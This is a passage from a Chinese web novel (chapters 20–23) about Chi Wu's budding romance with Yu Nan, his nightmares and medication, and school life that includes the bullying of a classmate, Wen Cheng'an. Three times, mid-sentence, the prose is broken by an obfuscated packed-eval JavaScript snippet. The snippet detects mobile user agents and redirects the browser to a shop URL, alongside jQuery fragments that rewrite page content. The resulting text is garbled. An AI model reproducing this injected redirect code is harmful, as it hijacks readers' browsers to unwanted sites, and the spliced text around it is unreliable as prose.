迟雾却丝毫没注意到,嘴上还在慢悠悠地说:“靠着我吧,于南,以后我会让你健健康康的。” 一语双关。 他的手指搭在于南的侧脸上,指腹滚烫,像是个窜起小火苗的打火机,而于南就是那根被烫得即将自燃的香烟。 电影散场。 迟雾在洗手间外头等着于南,他手里拎着两个塑料袋,随意地靠在墙上,稍微弓着腰,低头看手机上有关《一见钟情》的高深度影评,打算从里面借鉴出来点儿深奥的东西,一会儿挨个掰扯给于南听。总不能真让他那句大话成了大话吧,好歹圆回来些。至少让于南知道他不是真的脑袋空空。 但从头到尾翻了一番,都是对男女干柴烈火间拉扯的长远分析,还有些悲观主义为这部he电影重新拟造了个未来式的be结局,话里话外都是这段爱情看起来光鲜亮丽,实则内里是个空笼子,一拳下去就憋了。 迟雾毫不犹豫地划过去。谁那么手欠,非要上去打一拳,那比be先到来的绝对是警察叔叔的正义。 于南出来就看见迟雾正愁眉苦脸地看着手机,连他走过去都没注意到。于南扫了眼屏幕上的内容。 搜索栏里是这么写的。 [《一见钟情》深奥解读。] 于南笑笑,叫他:“迟雾。” “啊。”迟雾被吓了一跳,连忙收起手机,站直身子,“你出来了。” “嗯。”于南伸手去接过塑料袋,迟雾灵巧一躲,却正中他下怀,被他另一手拦截、接过来。拎着两个大塑料袋,于南整个人气质霎时一变,像是刚从超市里采购出来的贤惠人夫,正准备回家做饭。他说:“不早了。” 潜台词:该回家了。 迟雾却点点头,说:“确实,该吃夜宵了。” 于南明知他心思,笑着看他往下引。 迟雾说:“吃饱了才有力气睡觉,去吃点儿啥吧。” 于南扬了扬手里的袋子,示意他那三大盒关东煮还没吃完。 迟雾却选择性装傻,“正好这袋子一直拎着也怪沉的,找个饭店坐着歇歇吧。” 有和二人同场的情侣一脸见鬼的表情盯着他们。 刚坐了两个小时,还没坐够??? 铁屁股???? 两人并肩往外走。 迟雾毫无自觉,只想尽可能得多和于南在一起待着,他还挖空脑袋,将方才匆匆看上几眼的影评简单拼凑了下,努力说出点儿有内涵的东西:“其实他们的感情吧,就像西瓜,裂了一道纹,不好看,多裂几道,就能摆盘吃了。” 路过的行人:“………..” 两眼一黑的地步。 于南轻笑了声,说:“确实。” 迟雾觉得发挥得不错,自信满满地再次张开嘴,还没开始说,就感觉到侧兜里的手机一阵震动。他停下口头的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199135|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,把手机摸出来,一看来电显示——母亲。 迟雾看了于南一眼,才略微拉开些两人之间的距离,接通了电话。 他的声音不高不低,于南刚巧能听见些。 “没有。” “我在外面吃饭,等下就回去。” “李医生说的?” “嗯,好,知道了。” “……..” 挂断电话,两人也慢悠悠地走到了地下停车场,里面昏暗一片,只有几顶白昼灯挂在上头,灯散得不大均匀,迟雾刚好站在暗处,他收起手机,抿了抿唇,才说:“于南,可能没法去吃饭了,到了要吃药的时间,不知怎么的,这药就要按时吃,我必须得回去,我下去再请你吃饭吧,我们先去吃你说的那家面,然后再去吃点儿别的,行吗?” 于南站在亮处,脸上的每一丝表情变化都被清清楚楚地摊开,展现在迟雾面前。他没什么失落的表情,只是始终淡淡的,闻言,他也不过稍微压低了些眉头,不知是否在恼,但他说:“你生病了吗?” 迟雾点头,片刻后又摇头,开口解释了句:“不算是病,就是我从小就经常做噩梦,梦醒了之后心跳总是特别快,最严重的一次发烧烧了一周,烧得眼睛短期失明了一阵,之后做噩梦就要定期服药,吃药了应该算病,但做噩梦跟什么其他的大病比起来,一点儿分量都没有,是病又不是病。” 两人并肩朝着停车的位置走。 于南又问了句:“最近做噩梦了吗。” “嗯。”迟雾应了声,停顿一秒,又觉得这回答太过冷淡,干脆接着补充了些细节道:“梦到我在一个孤儿院里,成了没人要的小孩儿。” 为了调节气氛,他还开玩笑似得说:“哭得特别丑,像个被雨浇塌了的泥娃娃,又脏又颓,而且丑得不得了,我都怀疑是不是其实我内心是个自恋狂,太怕变丑了,才会做这种梦。” 听他的话,于南却脚步一顿。 迟雾扭头看他,他才接着跟上来。 于南说:“怕吗。” 迟雾想想那些梦,其实没什么可怕的,就是成了个没人要的小孩儿躲在角落里抹眼泪,从小到大他为了打发时间被温琳那帮人扯着看了多少恐怖片,什么灵异故事不比这恐怖多了。 再说他又不是真没人要,就是个莫须有的梦罢了,唯一可怕的可能就是噩梦随时会引起的高烧,以及高温烧身夹带着的失明后果,以前迟雾怕,就是觉得看不见东西才是最吓人的。 但他如今重来,癌症那段时间他生不如死,甚至觉得哪怕他没了一条胳膊或者是腿都没关系,就此变成残疾总比被不知何时休止的病魔日夜折磨要好许多。 再说,这么多年就出现了那一次失明,小概率事件,难不成他还能像个胆小鬼一样一辈子怯怕噩梦不成? 他都怕于南笑话他。 迟雾撇撇嘴,说:“没什么好怕的。” 他又想起来于南就是从孤儿院出来的小孩,便顺势牵上他的手,说:“你也别怕。” 他牵手的动作越来越自然,仿佛两人不是刚认识一天的陌生人,而是早就耳鬓厮磨三千夜、互托身心的爱人。 于南反问:“我怕什么?” “当然是……..”话说出口,迟雾才意识到这辈子于南还没同他讲过过去,以及他是在孤儿院长大的身世,话头堪堪止住,而后一转,机智地扯了个玩笑:“你别怕我得了什么变异成超壮绿巨人的怪病,就是小小一个噩梦,我不会变丑的。” 于南深深地看着他,问:“梦里一直在哭吗?” 迟雾没想到他对自己的梦感兴趣,但也乐得转移话题,便应道:“还好吧,十个梦里至少有一个梦是蹲在墙角发呆,嘴里应该是还咬着糖,挺幸福的。” “一直都只有你一个人?” “嗯……..也不是,有时候还能看见别的孩子聚在一起玩。” 迟雾感觉到,于南回握着自己的手稍稍用力。 于南说:“梦是假的,别怕。” 21. 第 21 章 回到家吃完药。 迟雾直接上楼回了卧室。 他倒在床上看着天花板,盯着柔和的顶灯发着呆,嘴角时不时扬起个极小的弧度。 于南真可爱。 送于南回去的时候,街道还没亮灯,估摸着真就要等凌晨后半夜才能来电,迟雾从几条街道外的小商店里给他买了两盏小夜灯,都是刻意挑的,一盏是特别简约普通的常见台灯样式,灯光也是冷白色,用来照亮用,另一盏则是只可爱小狗的形状,有些像九月三,只不过是幼崽形态,灯光则是暖黄色的,用来摆在床头看书用。 那样哪怕于南以后总盯着那本圣经看,他也不怕于南真从里面悟透神鬼今生、自此看破红尘了,是要一抬眼看见小夜灯就能想起他,多好。 迟雾原本打算将于南送下去,陪他走完那段漆黑的楼梯道,但于南却站在街道口,告诉他。 “下次吧,下次来我家的时候再一起走。” 下次。 无限遐想的一个不定词。 迟雾又想起来于南靠在他肩头的时候。 两人仿佛和前排的小情侣无甚差别,无限亲近。 真好啊。 迟雾盯着顶灯,思绪不断地飘,飘着飘着,那团云就压着他的眼皮,让他缓慢地闭上了眼。 那药应当是有安眠作用,迟雾这一觉睡得特别实,没再做梦,仿佛眼睛刚闭上,天就骤然亮了,他也紧跟着醒来。 迟雾起床后先摸出手机给于南发了条早安,才开始洗漱换衣服。 一切收拾好后,他简单吃了两口早餐,把药给吃了,才出门。 坐在车上,他低头摆弄着手机,查看信息。 短信的弊端就是,当对面那人不回复消息时,你只能盯着备注以及那串冷冰冰的号码来打发时间,而无从像微信那般翻进朋友圈里查看这人近期主动分享的事物。 昨夜迟雾彻底被迷晕了脑袋,原本还挂记着问上句能不能加于南微信,结果一牵上手,什么其他的都通通抛在脑后。 迟雾记得上辈子于南的微信号,但他试着搜索了下,却显示并未查找到任何人。 迟雾思忖两秒,又敲键盘。 [我可以加你微信吗。] [昨晚做噩梦了吗?]——与此同时,那段也极其巧合地发过来一条消息,紧接着短信发送成功的嗡声,手机又因着接收到短信而震动了下。 于南醒了? 迟雾看了眼时间,才七点出头,昨天这时候于南还没下班。 等等。 于南不会一夜没睡吧? 于南那头又接着发来条。 [我没有微信,把你的帐号发给我吧,等我注册后加你。] 迟雾连忙快速打字,飞快发过去几条。 [我微信号是clovey99。] [昨晚没有做噩梦,睡得很踏实。] [你呢?是已经起床了吗,还是还没睡?] 那串似是而非的账号看得人直发笑。 那头的于南一一回复。 [好。] [那就好。] [还没睡,要调整作息,等等带九月三出去遛一圈回来就睡了。] 迟雾又问。 [你用上小夜灯了吗?九月三看到了没?] 于南回。 [换药的时候用上了。] 迟雾笑了笑,又翻出来方才准备好的最近即将上映的电影推荐词,一股脑儿地发过去十几条。 还附带一句颇具暗示性的话。 [还有好多好看的电影没看过呢。] 两人在短信里拉扯了一番,当然,主要还是迟雾自满自足性的伪造所谓人设。具体是什么人设其实他心里也没个谱,但大概就是——想追于南但又不舍靠近的人设??? 算是给于南面前摆了道虚假的过渡网。 可他根本控制不住想靠近的心,也就在手机上敲字的时候演一演让于南放松些警惕了,下次再见面估计还要立马粘上去,成了只守在骨头前迫不及待的贪犬。 一下车。 迟雾同司机道了声别,便单肩挎着书包往教学楼里走。 华嘉高中的学生大多都是家中有权有势,只有少数特招生。上学时段,校门口更是停了不少豪车,迟雾从车上下来的时候刚好撞见在校门口站着的苏贺年。 苏贺年正低头摆弄着手里那根不知从哪来的棒棒糖,像是研究什么青花瓷般,翻到这侧仔细瞧上两眼,又翻到另一侧凑近去瞧,还仰起头将棒棒糖举到阳光底下,跟查看透光率似的,衬得棒棒糖那花花绿绿的塑料外皮都有了两分艺术感。 迟雾走到他身边的时候他刚好不经意地侧眸朝那侧方向看了眼,只那一眼,视线便定格在迟雾身上。苏贺年动作灵巧地将棒棒糖在空中抛起来,又砸到手里,他双手插兜,校服穿在身上板板正正的系着拉链,跟什么遵守纪律的三好学生似的,打量了下迟雾那松散套着的校服外套,才开口说:“迟雾,你能不能把你那拉链拉上。” 迟雾把手往腰上摸了下,才想起来穿着校服裤子呢,哪来什么拉链,就反应过来说的是外套,他动作一顿,收回手,淡淡反问了句:“当上纪律委员了?” “没。”苏贺年走过来,和他肩并着肩往学校里走,“但我当时不是和你分析了那个人吗,那哥哥一看就喜欢乖孩子,你不知道吗?年下就要乖的才有感觉,而且他不是在学校附近有住处吗,说不准什么时候就冒出来了,防患于未然啊。” “哥哥是你叫的?”迟雾又说:“他现在住的地方离这儿远着呢。” 苏贺年不置可否,耸了耸肩,“哥哥都不让人叫了?我听温琳说了,你小子要好好学习了?” 他笑嘻嘻地又说:“我支持你。” 迟雾看了他一眼,别想到他能憋出来这么一句。苏贺年虽说不像温琳那么爱玩,但也早早被安排好了这辈子的路该怎么走,在国内潇洒混过高三,享受把少年人青春肆意后就要被送出国,之后按部就班地走好这辈子,继承家业,前一辈子迟雾死的时候他还在国外一直没回来,可以说是过完这一年,他的人生就差不多和他们这群玩伴分隔开,鱼归池,鸟回笼。 迟雾说:“不压赌了?” 苏贺年轻巧道:“早就压完了。” 迟雾就知道。 他颇为无语地扭回头。 “迟雾。” 迟雾顺着声音回看过去,就瞧见顾宁一走过来,朝他怀里塞了几本书,迟雾一本本翻看,什么五三、基础拉练、小题狂做、大题疯刷都在里面,练习题封皮更是五颜六色的,估摸着下雨天都能扔上去替彩虹的班。 苏贺年颇为稀奇地瞧着练习册,又抬眼瞧着顾宁一,问他:“你这是打算让迟雾一步登天?” 顾宁一没理他的话,事实上,大多数时候顾宁一都是颇为冷淡的模样,许是天性使然,他不擅长应对这种揶揄闲谈,也便不应声,而是对着迟雾交代了句:“放学之后去自习室。” “中午也要去?”迟雾下意识问。 顾宁一反问道:“不是你说要尽可能多学?” 迟雾抱着练习册,故意忍着没翻开看,但这时候也被潜意识影响地有些头晕,就像是低血糖前兆一般,视野里属于光亮处的光晕骤然增大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199136|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了下遮住顾宁一的脸,又再次恢复原样。他扣了下掌心,缓了下,说:“好。” 顾宁一点了下头,径直与两人擦肩而过,率先近了教学楼。 苏贺年看着他笔直高挺的背影,咂舌一番,又反应过来,问:“中午那点儿时间还留在自习室学习?不出去吃饭了?绝食明志?” 迟雾把练习册在他眼前晃了下,毫不心虚地道:“知识就是粮食,懂吗?” 苏贺年说:“那也是窝窝头。” 两人插科打诨地一道闲谈,时不时夹杂两句前些天在校园里传开的一些“热版头条”,无非就是些少年人之间让人啼笑皆非的纠葛,情占大头,苏贺年一句句的话如同根小火把,将迟雾蒙尘的记忆全部燃成野火,焚起了遗忘的部分。 温家那个私生子就是从孤儿院里接回来的,据说是他母亲在被温父无情舍弃后便毅然出了国,离开这片伤心地,而那个长的与温父五分像的孩子也被送到了孤儿院。此遭被接回来,更是被温父不知出于某种心思,送进了华嘉高中,送到了温琳的眼皮子底下,与几人同班,而那私生子出落得不错,长的那张脸更肖他母亲,却是按着温父的模子刻出来的,摆在温琳身边何其讽刺。 温琳自己没觉得怎么着,却有不少个瞧不上那私生子的先打着温琳的名义给人下绊子,这事儿几乎成了舞台上的剧,丑角嚣嚣,观众燎燎。 而迟雾在这里面扮演了个什么角色呢。 迟雾思忖两秒。 他对那人的印象还真不算深刻,上辈子也没什么交集,他对旁人家的事不甚关注,尤其是这种丑闻,虽说不光彩,却又屡见不鲜,谁让私生子也有继承权呢,当不道德只会受到批判,却能获得一把有一定几率打开金钱宝库的钥匙时,道德就成了轻且廉价的风筝,大家拉着线,但风筝飞走了好像也无甚关系。因为利益大于代价。所以这些事,迟雾听过不少,也不大惊讶。 上辈子这时候他应该正在琢磨自己家有没有私生子,他还跑去问了迟延宁。但那时候迟延宁正忙着手头的工作,听见这话也只是轻飘飘地来了一句:“没有。” 上头有迟延宁压着做担保,况且迟母与迟父之间感情还算得上细水长流,三十几年的婚姻已经成了完整的外壳,节外生枝只是极小概率事件,这事儿就被迟雾这么放下了。 之后,那私生子迟雾就没再关注过,连温琳也不甚在乎。至于后来,那私生子好像出了国,温氏则被温琳接手,他死的时候,温琳那头好像还在跟公司里的老股东拉扯。 进了班级,迟雾直奔窗边最后一排。 他们的座位是采取抽签制,一个月一轮,算算,明天应当又要换位置了。 迟雾放下书包,顺道把那些个练习册都一股脑塞进书桌堂里,但等坐下两秒,就又拿出来放在桌子上。 多看几眼,提前适应一下眩晕感。 苏贺年看他动作,似藏着话般摇摇头,喟叹了声:“不容易。” 迟雾瞥他一眼。 苏贺年顺势往他身侧的椅子上一坐,“你要不要学点儿别的?” “什么?”迟雾说:“物理还是化学。” 一科就够他晕了,多来几个都不如直接把他扔洗衣机里开最大档,让他彻底感受把天旋地转的实感。 苏贺年晃晃手指头,“不是,是学料理,我给你当老师,怎么样?” 迟雾冷冷地说:“不学。” 苏贺年早有准备地慢悠悠道:“想要抓住一个男人的心啊,就要先抓住他的胃。” “……..” “等我学完数学就来拜师。” 苏贺年当即眉开眼笑。 22. 第 22 章 数学课上。 迟雾苦大仇深地盯着黑板上端正的板书,上头从上至下列着几个式子,全都是老师讲例题的时候顺手摞上去的。 他盯着看了半晌,便蔫蔫地转开头去看窗户外边的操场,视野彻底转换才觉得眩晕感好了点儿,有时候迟雾都想,他频频眩晕是不是因为丘比特射箭的时候把属于他的箭射到了他抱着的数学书上,不过箭法不好,顺道也给他的脑壳射了个对穿,导致留下了看不见的旧伤,让他的大脑一看见类似的东西就“触景生情”,开始瑟缩。 他们班的座位都是单人座,因此坐在迟雾手边最近处的其实是和他间隔一个过道的苏贺年。 迟雾感觉到手背上砸过来个东西,他看了眼,是团皱巴巴的小纸条。他若有所感地朝着苏贺年看了眼,就见苏贺年朝他耸耸肩,扬着下巴虚虚点了下温琳所坐的位置。 温琳那人则侧着脸,眼尾似狐狸般往上吊着,朝他轻挑了下眉头,比起私下传递小纸条,更像小情人之间维系私情龃龉,那张脸颇为多情。 温琳教室另一侧坐在最前排,两人之间简单的对视几乎横穿了整个班级,穿过不少道或直或曲的背影才对上。 迟雾收回视线那刹,触及到一抹极度瘦削的身影,他视线略微停顿,在那道身影上停留分毫,校服穿在那人的身上与迟雾穿病号服的时候有异曲同工处,都宽大不合体得像直接匆匆套了个麻袋上去,但他的姿态不似迟雾那般坦荡舒展,而是像迟雾站在于南面前时般小心翼翼地缩起一切不坦然。 讲台上老师一声令下,班级里不少还认真听课的学生从书桌里掏出另一本习题册来。那人也不例外,不过他是稍微扭过身,从黑色书包里掏出来。 而他的后桌则以一种莫名戏谑的视线打量着他的动作,好似下一刻他从书包里掏出来的不是习题册,而是什么魔术戏法下多变的白鸽。 迟雾平静地看着。 他几乎已经能从这道视线里猜出这人是个什么身份——温程安,那个私生子,那个被抛弃的“孤儿”。 温程安伸进书包的胳膊毫无停顿地往上一提,就掏出来本破烂了大半的习题册,上面还印着两道污秽的脚印,瞧着那烂页的痕迹走向,像是用剪子剪开后觉得不大满意再次用手胡乱撕扯出来的,难看,还难堪。他的表情却没有丝毫变化,错愕惊讶悚然通通都没有,他只是如同滩死水般平静地接受所有,而后淡漠地继续着先前的程序。 他将习题册放在桌上,无视周遭人的视线,翻到老师所说页书,视线落到已经脏得看不清字迹的书页上,如同团未曾乱掉的线。 迟雾下意识看了眼温琳,发现温琳甚至都没注意到这遭戏码,而是低首看着桌下,不晓得在摆弄些什么,而苏贺年也早已重新回归视线,盯着黑板,这节课是个年轻老师来代课,讲话幽默风趣,他听得津津有味。 迟雾拢回视线,拆开纸条。 【放学等我。】 等谁?温琳? 等他干什么。 迟雾将纸团重新揉攥,扔到了一旁的垃圾袋里。他重新抬头看黑板,但盯了两秒就实在受不了,干脆扭过头去看窗外,但窗外太阳正大,烈阳圆轮晃得人眼睛疼,没辙,盯了一会儿就要收回视线,迟雾不知不觉又开始盯着温程安看,他在观察他,这是他所接触的第一个如此瘦削的曾属于孤儿院的人。 最早的时候,他刚开始做噩梦后,就对孤儿院这种地方产生了没有来的恐惧,几乎提起就要附带着想起失明那一周被黑暗包裹笼罩的滋味,实在太过不好受,后来学校里组织了场去孤儿院送温暖的志愿者活动,有不少学生觉得稀奇都去参加了,连苏贺年这人都一起去了,迟雾被他缠着磨着烦不胜烦,若不是最后迟母以钢琴课的名头把他留下,他可能就跟着苏贺年一起去孤儿院了。 但现在恐惧消散分毫后,迟雾又开始后悔,如果他当时去了,是不是能遇着于南? 然后又一敲脑袋,笨,于南十五岁就被人收养了,他那时候去孤儿院怎么可能看见于南。 所以温程安身上所贴着的“孤儿院”的标签又让迟雾不由得对他多加关注。 于南在孤儿院刚出来的时候也是这么瘦吗?那时候于南是不是也会因为身上属于孤儿院的那部分经历而被人欺负孤立? 迟雾想不到答案。 他就那么盯着温程安的背影入了神。 直到下课铃响。 班级里的人齐齐开始收拾桌面书包,还有些直接什么也不动,就那么两手一揣兜就出去了。 而温程安转过头时,却意外地,穿过一片散了人群的空辟和迟雾遥遥对上视线。 那场对视仅仅持续了两秒钟。 温程安便平淡地垂首收拾书包。 而迟雾也被他这么一看给看回了神。迟雾站起身,朝着班级前门走去,而后就站在走廊贴墙的位置等着顾宁一。 走廊上人影山、人潮海匆匆而过,不少人路过时都和迟雾打了声招呼。 家里大多数都有些交集,自然也都熟悉,再不济也是叫得上名字,表面礼数还要维系。 冷淡又热情的利益关系都渗透到这些场所。 迟雾懒得如同假娃娃般同他们一个个挥手应笑,干脆低头盯着地面。 “哎哟,居然还真照做了?”温琳欠嗖嗖的声音传过来,他的胳膊顺势往迟雾肩膀上一搭,迟雾早有预料地一偏肩膀,让他搭了个空。 迟雾说:“没等你,等顾宁一呢。” 温琳无所谓道:“等他就是等我。” 迟雾瞥他眼,“你改名了?” 顾宁一从后门走出来,他身后还不近不远地跟随出来个温程安。 温程安融进人群下了楼,顾宁一朝着他们走来。 看见温琳,顾宁一也并未惊讶,而是直接对着迟雾说:“你要先吃饭吗?” “不用。”迟雾其实不大饿,但中午要吃药,还是要垫巴两口才能顺药,但也不着急,他书包里还有个早上塞进去的三明治,等快上课了吃两口就成。顾宁一点点头,说:“那走吧。” 几人朝着一楼走。 温琳一路上没说什么,也和顾宁一完全没交流,让人摸不清他跟上来到底是干什么,直到自习室门口,温琳还颇为绅士地主动伸出手去撑着门,让他俩先进。 迟雾盯他两秒,“温琳,你让鬼上身了?” 温琳好笑地看着他,“你就不能盼我点儿好?” 顾宁一反倒是最接受良好的,直接进了自习室,把书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199137|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包放到最中间的大长桌上,从里头拿出来几本笔记,在对面的两个位置上各放了两本。 迟雾挑了其中一个位置坐下,而后温琳将门关上,坐到了另一个空位上。 迟雾问:“……..你也要奋发图强了?” 温琳反问道:“不行?” 迟雾闭嘴,懒得理他。 温琳成绩不差,甚至是前列,有一次甚至和顾宁一并列考了次第一,他到这儿来,真不知道能学什么。 估摸着过一阵子就自己走了。 迟雾查看那两本笔记。 一本是知识点详记,一本是易错点记录。 他翻开其中一本,上头写满了密密麻麻的字,偏生顾宁一这人记笔记有一个特点,就是从一而终,从头到尾都只有深黑色笔迹,如同墨水滴在上头氤氲出来的点点痕迹,不似教科书或旁人笔记本那般,一眼便瞧见里头重点记录的数字公式等,而是得在一团黑里挑拣,且他记录的话术基本是简洁的、自己总结出来的,本应频繁出现的专用术语也被替换掉,迟雾看着的时候好了不少,不至于一瞬间脑袋就晕得不成样子,而是一种渐近形式,晕,但是暂且能忍,就像人喝醉后总有一段嘴硬逞能的清醒期。 迟雾舒了口气,却也不傻,知道顾宁一保准是知道点儿什么,刻意重新整理了笔记,他这病只有极少数人知道,因着总归也算作是心理病,他自己不觉得有什么,但迟母忧心有心人作祟,就让他对外称不爱接触这些东西,但大家又不是傻子,像温琳、苏贺年这种经常和他接触的人都能意识到,自然也都知道他的情况。 估摸着是温琳同顾宁一提前打了招呼。 迟雾对温琳多了不少耐心,还朝他笑了一下。 温琳看见,问:“你也鬼上身了?” 迟雾:“……..” 迟雾再无好脸色。 温琳笑出了声,顾宁一盯着他看。 温琳冲着顾宁一挑了挑眉,“看我干什么?” 顾宁一没回答他的话,而是缓声开始了属于他的课程,他字字清晰,节奏拿捏得恰到好处,几乎每次迟雾觉得忍无可忍时他便稍加停顿,引出来道与数学有些许纠葛却又不至于太过费脑的思考题,给迟雾提供一个过渡期。 这场教学也给迟雾卸下不少压力。 虽说午休时间较短,进度微小,但总归不是油盐不进了,就像罩在他大脑上的铁罩子被温和的盐水绣蚀出道供他呼吸的开口,任他生存得稍微舒坦些。 迟雾回到班级后,在上课铃响时还在研究顾宁一所记的笔记,保持着看两分钟就扭头看窗外三分钟的频率,一页看一节课,但总算能看进去一些。 苏贺年在一旁撑着胳膊看他,嘟囔道:“还真学上了。”他从兜里掏出那根早上踹进去的棒棒糖,拆开外皮,咬着嘎嘣响,像狗磨牙一样,把糖咬成一个个小碎块。 迟雾被声响勾过去,朝他看了眼。 苏贺年冲他笑了下,“想吃啊?” 还不待迟雾开口,他就又掏了掏兜,扔过去根牛奶味的棒棒糖,“就剩这个口味的了。” 迟雾接过,看着棒棒糖两秒,才想起来件被他遗忘的正事——— 他没吃饭。 自然,也吃药。 23. 第23章 吃药的后果就是脑袋昏沉,如同上了绣的零件般温吞着只能勉强维持运转,迟雾看了眼手里的笔记,以及草稿纸上写上去的几个算式,思忖两秒。 算了。 不差这一顿吧? 晚上再吃。 之后迟雾就把这事儿抛之脑后。 下午放学后三人照常齐聚自习室内。 温琳这个不正经的,中午的时候顾宁一讲课,他就那样撑着下巴,用充满戏谑的眼神不断盯着顾宁一,漩涡中央的人仿佛无甚感觉般,自始至终都冷静自持,语调没有丝毫起伏,讲课时也是只顾着迟雾这一个学生,仿佛温琳只是被人随手扔在椅子上雕塑模型,而漩涡之外的迟雾反倒觉得温琳那视线实在是太赤.裸裸,把周遭的事物都一并点燃,让人想忽视都难。 迟雾甚至仔细回想了,温琳这人上辈子和顾宁一之间有何交集,仿佛始终都是没什么关联的陌生人,不大熟稔的同班同学。如今这是历史走向跑偏了,还是埋着的那条关系线被挖出来了? 没人给他解答,他兀自随意排查着。 顾宁一递了摞自印的习题给迟雾,都是最基础的,用来给他梳理思绪。 温琳不乐意了,“我怎么没有。” 顾宁一没理他,整理着自己面前散乱的草稿纸,将上头解题思绪的罗列一一画出规整的顺序线,而后一并递给迟雾。 迟雾接手,将草稿纸夹到习题册里,而后按着顾宁一的指示翻到某页习题,从头至尾温吞地做着,但那速度还是很慢,再简单不过的题,顾宁一来解可能几秒钟就出了答案,换作寻常基础不太行的人来做,可能磨个五分钟也能将七将八地弄出答案,但换做迟雾这儿,就是能慢上加慢地挫磨着,一毫毫得推动脑袋里锈迹斑斑的转轴。 温琳盯着他的动作两秒,又转眸看向顾宁一。 顾宁一正在做着手里的竞赛题,垂着眼,黑睫搭落着,柔顺的夕阳色撒在身上,整个人也柔和不少,仿佛潜藏着的棱角彻底被剥落。 温琳搭话道:“你们饿不饿?” 迟雾就早上简单吃了几口,但也不大饿,可能是因为脑袋时不时晕上一会儿,晕得来不及穿搭饥饿的信息,只觉得有些强撑的萎蔫,他简短应了声:“不饿。” 温琳又用手戳了戳顾宁一的胳膊,问:“你呢。” 顾宁一甚至都没抬眼,就直接说:“不饿。” 温琳却仍旧烦扰着他:“你一天都没吃东西,真不饿?” 迟雾被他这句话率先扰乱。 他们之间这么……..熟悉? 还未待温琳继续发作,就有人叩了下教室前门,温琳站起身过去开门。 门打开,探进来个脑袋,是隔壁班的一个男生,他手里拎着大包小包,包装袋口还往外冒着升腾的热气,他笑嘻嘻地冲迟雾打了声招呼,才收回脑袋,一一介绍道:“这袋是寿司,这个是拉面,这个是盖饭,还有关东煮和一点儿小吃,都是热着的。” 话落,他又补充了句:“保准你们仨都能吃撑肚皮。” 温琳接过,冲他道了声谢,拎着袋子就准备往回走,就听那人又开口叫住他:“诶,温琳。” 温琳不慌不忙地把袋子摆到几人学习的桌子上,一一将袋子解开,才扬声应:“啥事儿?” 那人见此,干脆进来,却没把门带上,而成就那么留了条小缝隙,才走过来拉出个椅子,一屁股坐上去,先看了眼迟雾的习题做什么样了,发现只动了几笔,笑得弯着眼睛,才接着用那般笑嘻嘻的口吻说道:“温琳,什么时候完事儿啊,昨天那牌还没完呢。” 他又看向顾宁一:“还有……..” 他这话还没完,就被一道震天的摔门声终止。 声响来源是自习室对面的卫生间。 迟雾晕乎乎的感觉也被这么一声给砸得清醒不少,连忙用攥着笔的手遮住习题册,扭头看别处去转移些视线,这么一转移,鼻息就被原本不大注意的饭香味儿给侵占,他肚子叫了声。 温琳好笑地说:“刚才不还说不饿。” 迟雾说:“食儿都送来了,不饿也该饿了。” 温琳给他递了份儿寿司,是几人曾经最常去的那家的,也是迟雾这段儿时间最爱吃的,迟雾的记忆被上辈子隔断,有个十多年没吃过这家寿司,一时馋虫彻底被勾起来,接过筷子夹起来吃了口。 “胆子这么大啊!?” 这声音毫不压抑地穿透进来,语气是令人不喜的刁钻古怪,如同刻意刁难般,话里还夹杂着嘲弄的笑意。 迟雾扭头朝着前门看过去,透着门上的窄玻璃看见走廊里正站着几个男男女女,身上穿着的都是自己的便服,校服外套或被拿在手里,或挂在肩膀上,他们的视线笔直地射向同一点,而那点的情形却超过窄玻璃所能容纳的视野,彻底被遮掩住。 迟雾脑袋还有些不转轴,机械性地嚼着嘴里的东西,视线如同被锁定般定格在那个方位。 送东西那男生干脆站起身,朝着门外走去,边走边说道:“干什么呢?能不能小点儿声。” 他推开门,视野也被拓宽。 迟雾看见了停留在那点上的人,温程安。 他也一瞬明了此刻局势。 那群人在嘲弄温程安,或许还动手欺负了。 因为温程安身上的校服袖口处破了个大洞,还蹭上不少污泥点子,校园里唯一有污泥的地方就是操场边缘处的几方池塘。 再往下看,温程安的裤腿还在滴水。 而温程安本人却只是看着那几人,不反抗、不回应、不逃跑,如同一尊真正的雕塑定格在那儿接受着所有讥讽。 男生出去后先扫了眼整体局势,才扬声叫了下温琳。 温琳在顾宁一面前摆了份拉面,才收回手,施施然地往外走。 顾宁一没动那份拉面,仍旧低头看着竞赛题,察觉到迟雾的视线,他才淡淡抬眼,问:“你要吃?” 迟雾摇摇头,“你吃吧。” 顾宁一微微颔首,却还没动,而是把眼前那道题做完,才站起身,留下句:“我去上厕所。” 迟雾看着自习室霎时变得空旷,而走廊上的一言一语飘进这间空屋子在里头一圈圈地转,直到被尽数揽进他的耳朵里,才休止。 “温琳,你还没走?” 